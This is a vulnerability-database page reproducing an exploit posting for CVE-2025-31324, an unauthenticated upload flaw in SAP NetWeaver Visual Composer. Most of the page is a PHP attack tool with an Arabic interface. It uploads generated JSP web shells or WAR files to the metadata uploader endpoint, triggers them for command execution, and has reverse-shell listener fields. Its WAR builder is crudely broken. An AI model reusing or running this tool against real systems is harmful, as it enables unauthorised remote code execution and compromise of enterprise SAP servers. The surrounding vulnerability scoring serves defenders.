Lucene search
K

📄 SAP NetWeaver 7.50 Visual Composer Metadata Shell Upload

🗓️ 18 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 116 Views

Unauthenticated file upload in SAP NetWeaver Visual Composer enables remote execution.

Related
Code
=============================================================================================================================================
    | # Title     : SAP NetWeaver 7.50 Visual Composer Metadata Exploitation Tool                                                               |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.sap.com/                                                                                                        |
    =============================================================================================================================================
    
    [+] Summary :
    
    SAP NetWeaver Visual Composer contains an unauthenticated file upload vulnerability in the metadata uploader component (CVE-2025-31324) 
    that allows attackers to upload arbitrary files including JSP web shells and WAR applications, leading to remote code execution on the SAP server.
    The vulnerability exists in the metadata uploader component of SAP NetWeaver Visual Composer, which fails to properly authenticate and validate file uploads. 
    Attackers can exploit this by directly uploading malicious files to vulnerable endpoints without any authentication.
    
    [+] Usage: 
    
    http://localhost/poc.php
    
    [+] POC :
    
    <?php
    
    
    class SAPWebExploit {
        private $config;
        
        public function __construct() {
            $this->config = [
                'upload_dir' => 'uploads/',
                'max_file_size' => 10485760, 
                'allowed_types' => ['jsp', 'war', 'jar', 'xml']
            ];
    
            if (!is_dir($this->config['upload_dir'])) {
                mkdir($this->config['upload_dir'], 0755, true);
            }
        }
        
        public function handleRequest() {
            if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                $this->handleExploit();
            } else {
                $this->showForm();
            }
        }
        
        private function showForm() {
            echo '<!DOCTYPE html>
            <html lang="ar" dir="rtl">
            <head>
                <meta charset="UTF-8">
                <meta name="viewport" content="width=device-width, initial-scale=1.0">
                <title>by indoushka لأداة استغلال SAP CVE-2025-31324</title>
                <style>
                    * {
                        margin: 0;
                        padding: 0;
                        box-sizing: border-box;
                        font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif;
                    }
                    
                    body {
                        background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
                        min-height: 100vh;
                        padding: 20px;
                        direction: rtl;
                    }
                    
                    .container {
                        max-width: 1000px;
                        margin: 0 auto;
                        background: white;
                        border-radius: 15px;
                        box-shadow: 0 20px 40px rgba(0,0,0,0.1);
                        overflow: hidden;
                    }
                    
                    .header {
                        background: linear-gradient(135deg, #2c3e50, #34495e);
                        color: white;
                        padding: 30px;
                        text-align: center;
                    }
                    
                    .header h1 {
                        font-size: 28px;
                        margin-bottom: 10px;
                    }
                    
                    .header .subtitle {
                        opacity: 0.8;
                        font-size: 14px;
                    }
                    
                    .content {
                        padding: 30px;
                    }
                    
                    .form-section {
                        margin-bottom: 30px;
                        padding: 20px;
                        border: 2px dashed #ddd;
                        border-radius: 10px;
                        background: #f8f9fa;
                    }
                    
                    .form-section h3 {
                        color: #2c3e50;
                        margin-bottom: 15px;
                        padding-bottom: 10px;
                        border-bottom: 2px solid #3498db;
                    }
                    
                    .form-group {
                        margin-bottom: 20px;
                    }
                    
                    label {
                        display: block;
                        margin-bottom: 8px;
                        font-weight: 600;
                        color: #2c3e50;
                    }
                    
                    input[type="text"],
                    input[type="number"],
                    input[type="file"],
                    select {
                        width: 100%;
                        padding: 12px;
                        border: 2px solid #ddd;
                        border-radius: 8px;
                        font-size: 16px;
                        transition: border-color 0.3s;
                    }
                    
                    input:focus, select:focus {
                        outline: none;
                        border-color: #3498db;
                    }
                    
                    .checkbox-group {
                        display: flex;
                        align-items: center;
                        gap: 10px;
                    }
                    
                    .checkbox-group input {
                        width: auto;
                    }
                    
                    .btn {
                        background: linear-gradient(135deg, #3498db, #2980b9);
                        color: white;
                        padding: 15px 30px;
                        border: none;
                        border-radius: 8px;
                        font-size: 16px;
                        font-weight: 600;
                        cursor: pointer;
                        transition: transform 0.2s;
                        width: 100%;
                    }
                    
                    .btn:hover {
                        transform: translateY(-2px);
                    }
                    
                    .btn-danger {
                        background: linear-gradient(135deg, #e74c3c, #c0392b);
                    }
                    
                    .results {
                        margin-top: 30px;
                        padding: 20px;
                        background: #2c3e50;
                        color: white;
                        border-radius: 8px;
                        display: none;
                    }
                    
                    .result-section {
                        margin-bottom: 15px;
                    }
                    
                    .result-title {
                        font-weight: 600;
                        color: #3498db;
                        margin-bottom: 5px;
                    }
                    
                    .alert {
                        padding: 15px;
                        border-radius: 8px;
                        margin-bottom: 20px;
                    }
                    
                    .alert-success {
                        background: #d4edda;
                        color: #155724;
                        border: 1px solid #c3e6cb;
                    }
                    
                    .alert-danger {
                        background: #f8d7da;
                        color: #721c24;
                        border: 1px solid #f5c6cb;
                    }
                    
                    .tabs {
                        display: flex;
                        margin-bottom: 20px;
                        border-bottom: 2px solid #ddd;
                    }
                    
                    .tab {
                        padding: 12px 24px;
                        cursor: pointer;
                        border-bottom: 3px solid transparent;
                        transition: all 0.3s;
                    }
                    
                    .tab.active {
                        border-bottom-color: #3498db;
                        color: #3498db;
                        font-weight: 600;
                    }
                    
                    .tab-content {
                        display: none;
                    }
                    
                    .tab-content.active {
                        display: block;
                    }
                    
                    .payload-preview {
                        background: #2c3e50;
                        color: #ecf0f1;
                        padding: 15px;
                        border-radius: 8px;
                        font-family: monospace;
                        font-size: 12px;
                        max-height: 200px;
                        overflow-y: auto;
                        margin-top: 10px;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <div class="header">
                        <h1>أداة استغلال SAP CVE-2025-31324</h1>
                        <div class="subtitle">SAP NetWeaver Visual Composer Metadata Uploader - Unauthenticated File Upload</div>
                        <div class="subtitle">Powered by indoushka</div>
                    </div>
                    
                    <div class="content">
                        <div class="tabs">
                            <div class="tab active" onclick="switchTab(0)"> الاستغلال السريع</div>
                            <div class="tab" onclick="switchTab(1)"> إعدادات متقدمة</div>
                            <div class="tab" onclick="switchTab(2)"> توليد الحمولات</div>
                        </div>
                        
                        <form method="POST" enctype="multipart/form-data" id="exploitForm">
                            
                            <!-- Tab 1: Quick Exploit -->
                            <div class="tab-content active" id="tab1">
                                <div class="form-section">
                                    <h3> الهدف الأساسي</h3>
                                    
                                    <div class="form-group">
                                        <label for="host">اسم الخادم (Host):</label>
                                        <input type="text" id="host" name="host" placeholder="example.com" required>
                                    </div>
                                    
                                    <div class="form-group">
                                        <label for="port">المنفذ (Port):</label>
                                        <input type="number" id="port" name="port" value="50001">
                                    </div>
                                    
                                    <div class="form-group">
                                        <label for="endpoint">مسار الرفع (Endpoint):</label>
                                        <input type="text" id="endpoint" name="endpoint" 
                                               value="/irj/portal/sap/bc/webdynpro/sap/ZWDC_METADATA_UPLDR" required>
                                    </div>
                                </div>
                                
                                <div class="form-section">
                                    <h3> الحمولة</h3>
                                    
                                    <div class="form-group">
                                        <label>نوع الحمولة:</label>
                                        <select name="payload_type" id="payloadType" onchange="togglePayloadOptions()">
                                            <option value="file">رفع ملف موجود</option>
                                            <option value="generate_jsp">توليد JSP Shell</option>
                                            <option value="generate_war">توليد WAR File</option>
                                        </select>
                                    </div>
                                    
                                    <div class="form-group" id="fileUploadGroup">
                                        <label for="payload_file">رفع ملف الحمولة:</label>
                                        <input type="file" id="payload_file" name="payload_file" 
                                               accept=".jsp,.war,.jar,.xml">
                                    </div>
                                    
                                    <div class="form-group" id="commandGroup" style="display:none;">
                                        <label for="command">الأمر المطلوب تنفيذه:</label>
                                        <input type="text" id="command" name="command" value="whoami">
                                    </div>
                                    
                                    <div class="form-group" id="reverseShellGroup" style="display:none;">
                                        <label for="lhost">IP المستمع (LHOST):</label>
                                        <input type="text" id="lhost" name="lhost" placeholder="192.168.1.100">
                                        
                                        <label for="lport" style="margin-top:10px;">منفذ المستمع (LPORT):</label>
                                        <input type="number" id="lport" name="lport" value="4444">
                                    </div>
                                </div>
                            </div>
                            
                            <!-- Tab 2: Advanced Settings -->
                            <div class="tab-content" id="tab2">
                                <div class="form-section">
                                    <h3>إعدادات متقدمة</h3>
                                    
                                    <div class="form-group checkbox-group">
                                        <input type="checkbox" id="https" name="https">
                                        <label for="https">استخدام HTTPS</label>
                                    </div>
                                    
                                    <div class="form-group checkbox-group">
                                        <input type="checkbox" id="bypass_portal" name="bypass_portal" checked>
                                        <label for="bypass_portal">تجاوز Portal (إزالة /portal من المسارات)</label>
                                    </div>
                                    
                                    <div class="form-group">
                                        <label for="field_name">اسم حقل الرفع:</label>
                                        <input type="text" id="field_name" name="field_name" value="UPLOAD_METADATA">
                                    </div>
                                </div>
                                
                                <div class="form-section">
                                    <h3> إعدادات التفعيل</h3>
                                    
                                    <div class="form-group">
                                        <label for="trigger_path">مسار التفعيل:</label>
                                        <input type="text" id="trigger_path" name="trigger_path" 
                                               placeholder="/irj/portal/irj/servlet_jsp/irj/root/shell.jsp">
                                    </div>
                                    
                                    <div class="form-group">
                                        <label for="trigger_host">خادم التفعيل (افتراضي: نفس الخادم):</label>
                                        <input type="text" id="trigger_host" name="trigger_host">
                                    </div>
                                    
                                    <div class="form-group">
                                        <label for="trigger_port">منفذ التفعيل:</label>
                                        <input type="number" id="trigger_port" name="trigger_port">
                                    </div>
                                    
                                    <div class="form-group checkbox-group">
                                        <input type="checkbox" id="trigger_https" name="trigger_https">
                                        <label for="trigger_https">استخدام HTTPS للتفتيل</label>
                                    </div>
                                </div>
                            </div>
                            
                            <!-- Tab 3: Payload Generation -->
                            <div class="tab-content" id="tab3">
                                <div class="form-section">
                                    <h3> توليد الحمولات</h3>
                                    
                                    <div class="form-group">
                                        <label>نوع الحمولة:</label>
                                        <select name="gen_type" onchange="showPayloadPreview()">
                                            <option value="jsp_cmd">JSP - تنفيذ أوامر</option>
                                            <option value="jsp_reverse">JSP - Reverse Shell</option>
                                            <option value="war_simple">WAR - Web Shell</option>
                                        </select>
                                    </div>
                                    
                                    <div class="form-group">
                                        <label for="gen_command">الأمر:</label>
                                        <input type="text" id="gen_command" name="gen_command" value="id" onkeyup="showPayloadPreview()">
                                    </div>
                                    
                                    <div class="form-group">
                                        <label for="gen_lhost">IP المستمع:</label>
                                        <input type="text" id="gen_lhost" name="gen_lhost" value="192.168.1.100" onkeyup="showPayloadPreview()">
                                    </div>
                                    
                                    <div class="form-group">
                                        <label for="gen_lport">منفذ المستمع:</label>
                                        <input type="number" id="gen_lport" name="gen_lport" value="4444" onkeyup="showPayloadPreview()">
                                    </div>
                                    
                                    <div class="form-group">
                                        <label>معاينة الحمولة:</label>
                                        <div class="payload-preview" id="payloadPreview">
                                            // سيتم عرض الحمولة هنا...
                                        </div>
                                    </div>
                                    
                                    <button type="button" class="btn" onclick="downloadPayload()"> تحميل الحمولة</button>
                                </div>
                            </div>
                            
                            <button type="submit" class="btn"> تشغيل الاستغلال</button>
                            <button type="button" class="btn btn-danger" onclick="clearForm()"> مسح النموذج</button>
                        </form>
                        
                        <div class="results" id="results">
                            <h3> النتائج:</h3>
                            <div id="resultContent"></div>
                        </div>
                    </div>
                </div>
                
                <script>
                    function switchTab(tabIndex) {
    
                        document.querySelectorAll(".tab").forEach(tab => tab.classList.remove("active"));
                        document.querySelectorAll(".tab-content").forEach(content => content.classList.remove("active"));
                        
                        // Show selected tab and content
                        document.querySelectorAll(".tab")[tabIndex].classList.add("active");
                        document.querySelectorAll(".tab-content")[tabIndex].classList.add("active");
                    }
                    
                    function togglePayloadOptions() {
                        const type = document.getElementById("payloadType").value;
                        document.getElementById("fileUploadGroup").style.display = 
                            type === "file" ? "block" : "none";
                        document.getElementById("commandGroup").style.display = 
                            type.includes("jsp") ? "block" : "none";
                        document.getElementById("reverseShellGroup").style.display = 
                            type === "generate_war" ? "block" : "none";
                    }
                    
                    function showPayloadPreview() {
                        const type = document.querySelector("select[name=\"gen_type\"]").value;
                        const command = document.getElementById("gen_command").value;
                        const lhost = document.getElementById("gen_lhost").value;
                        const lport = document.getElementById("gen_lport").value;
                        
                        let preview = "";
                        
                        if (type === "jsp_cmd") {
                            preview = `<%@ page import="java.util.*,java.io.*" %>\n` +
                                     `<%\n` +
                                     `String cmd = "${command}";\n` +
                                     `Process p = Runtime.getRuntime().exec(cmd);\n` +
                                     `// ... كود تنفيذ الأمر ...\n` +
                                     `%>`;
                        } else if (type === "jsp_reverse") {
                            preview = `// Reverse Shell to ${lhost}:${lport}\n` +
                                     `Socket s = new Socket("${lhost}", ${lport});\n` +
                                     `// ... كود الاتصال العكسي ...`;
                        } else if (type === "war_simple") {
                            preview = `// WAR File Structure\n` +
                                     `WEB-INF/web.xml\n` +
                                     `shell.jsp\n` +
                                     `// Contains JSP Web Shell`;
                        }
                        
                        document.getElementById("payloadPreview").textContent = preview;
                    }
                    
                    function downloadPayload() {
                        alert("سيتم تنزيل الحمولة... (هذه مجرد واجهة تجريبية)");
                    }
                    
                    function clearForm() {
                        document.getElementById("exploitForm").reset();
                        document.getElementById("results").style.display = "none";
                    }
                    
                    // Initialize
                    togglePayloadOptions();
                    showPayloadPreview();
                </script>
            </body>
            </html>';
        }
        
        private function handleExploit() {
            echo '<!DOCTYPE html>
            <html lang="ar" dir="rtl">
            <head>
                <meta charset="UTF-8">
                <title>نتائج الاستغلال</title>
                <style>
                    body { font-family: Arial, sans-serif; padding: 20px; direction: rtl; }
                    .result { background: #f8f9fa; padding: 15px; margin: 10px 0; border-radius: 5px; }
                    .success { background: #d4edda; color: #155724; }
                    .error { background: #f8d7da; color: #721c24; }
                    .warning { background: #fff3cd; color: #856404; }
                </style>
            </head>
            <body>
                <h1> نتائج عملية الاستغلال</h1>
                <div class="result">';
            
            try {
                $results = $this->executeExploit();
                $this->displayResults($results);
            } catch (Exception $e) {
                echo '<div class="error">خطأ: ' . htmlspecialchars($e->getMessage()) . '</div>';
            }
            
            echo '</div>
                <br>
                <a href="' . $_SERVER['PHP_SELF'] . '" style="padding: 10px 20px; background: #007bff; color: white; text-decoration: none; border-radius: 5px;">↻ العودة للنموذج</a>
                </body>
                </html>';
        }
        
        private function executeExploit() {
            $results = [];
    
            $host = $_POST['host'] ?? '';
            $port = $_POST['port'] ?? '50001';
            $endpoint = $_POST['endpoint'] ?? '';
            
            if (empty($host) || empty($endpoint)) {
                throw new Exception("يجب تعبئة الحقول الإلزامية");
            }
            
            $results[] = " الهدف: $host:$port";
            $results[] = "المسار: $endpoint";
            $payloadFile = $this->handlePayload();
            $results[] = " الحمولة: " . basename($payloadFile);
    
            $https = isset($_POST['https']) ? true : false;
            $baseUrl = ($https ? 'https' : 'http') . "://$host:$port";
    
            if (isset($_POST['bypass_portal'])) {
                $endpoint = str_replace('/portal', '', $endpoint);
                $results[] = " تم تجاوز Portal: $endpoint";
            }
            
            // Execute upload
            $uploadResult = $this->uploadFile($baseUrl, $endpoint, $payloadFile);
            $results[] = " نتيجة الرفع: " . $uploadResult;
    
            $triggerPath = $_POST['trigger_path'] ?? '';
            if (!empty($triggerPath)) {
                $triggerResult = $this->triggerPayload($baseUrl, $triggerPath);
                $results[] = " نتيجة التفعيل: " . $triggerResult;
            }
    
            if (strpos($payloadFile, $this->config['upload_dir']) !== false) {
                unlink($payloadFile);
            }
            
            return $results;
        }
        
        private function handlePayload() {
            $payloadType = $_POST['payload_type'] ?? 'file';
            
            if ($payloadType === 'file') {
    
                if (!isset($_FILES['payload_file']) || $_FILES['payload_file']['error'] !== UPLOAD_ERR_OK) {
                    throw new Exception("خطأ في رفع الملف");
                }
                
                $uploadedFile = $_FILES['payload_file'];
                $filename = $this->config['upload_dir'] . uniqid() . '_' . $uploadedFile['name'];
                
                if (!move_uploaded_file($uploadedFile['tmp_name'], $filename)) {
                    throw new Exception("فشل في حفظ الملف");
                }
                
                return $filename;
                
            } else {
    
                return $this->generatePayload();
            }
        }
        
        private function generatePayload() {
            $type = $_POST['payload_type'];
            $filename = $this->config['upload_dir'] . 'generated_' . uniqid();
            
            if ($type === 'generate_jsp') {
                $filename .= '.jsp';
                $command = $_POST['command'] ?? 'whoami';
                $content = $this->generateJspPayload($command);
            } elseif ($type === 'generate_war') {
                $filename .= '.war';
                $lhost = $_POST['lhost'] ?? '192.168.1.100';
                $lport = $_POST['lport'] ?? '4444';
                $content = $this->generateWarPayload($lhost, $lport);
            }
            
            file_put_contents($filename, $content);
            return $filename;
        }
        
        private function generateJspPayload($command) {
            return '<%@ page import="java.util.*,java.io.*" %>
    <%
    String cmd = "' . $command . '";
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while (disr != null) {
            out.println(disr);
            disr = dis.readLine();
        }
    }
    %>';
        }
        
        private function generateWarPayload($lhost, $lport) {
            $jspContent = $this->generateJspPayload('id');
            $warContent = "PK\x03\x04"; // ZIP header
            $webXml = '<?xml version="1.0" ?>
    <web-app xmlns="http://java.sun.com/xml/ns/j2ee"
        version="2.4">
        <display-name>Shell</display-name>
    </web-app>';
            
            return $warContent . $webXml . $jspContent;
        }
        
        private function uploadFile($baseUrl, $endpoint, $payloadFile) {
            $url = $baseUrl . $endpoint;
            $fieldName = $_POST['field_name'] ?? 'UPLOAD_METADATA';
            
            $ch = curl_init();
            $postData = [
                $fieldName => new CURLFile($payloadFile)
            ];
            
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $postData,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_TIMEOUT => 10
            ]);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                return "خطأ: " . $error;
            }
            
            return "HTTP $httpCode - " . substr($response, 0, 100);
        }
        
        private function triggerPayload($baseUrl, $triggerPath) {
            $url = $baseUrl . $triggerPath;
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_TIMEOUT => 10
            ]);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            curl_close($ch);
            
            return "HTTP $httpCode - " . substr($response, 0, 50);
        }
        
        private function displayResults($results) {
            foreach ($results as $result) {
                $class = 'result';
                if (strpos($result, 'خطأ') !== false) {
                    $class .= ' error';
                } elseif (strpos($result, 'نجاح') !== false) {
                    $class .= ' success';
                } elseif (strpos($result, 'تحذير') !== false) {
                    $class .= ' warning';
                }
                
                echo "<div class=\"$class\">$result</div>";
            }
        }
    }
    
    $app = new SAPWebExploit();
    $app->handleRequest();
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Feb 2026 00:00Current
9.3High risk
Vulners AI Score9.3
CVSS 3.19.8 - 10
EPSS0.43664
SSVC
116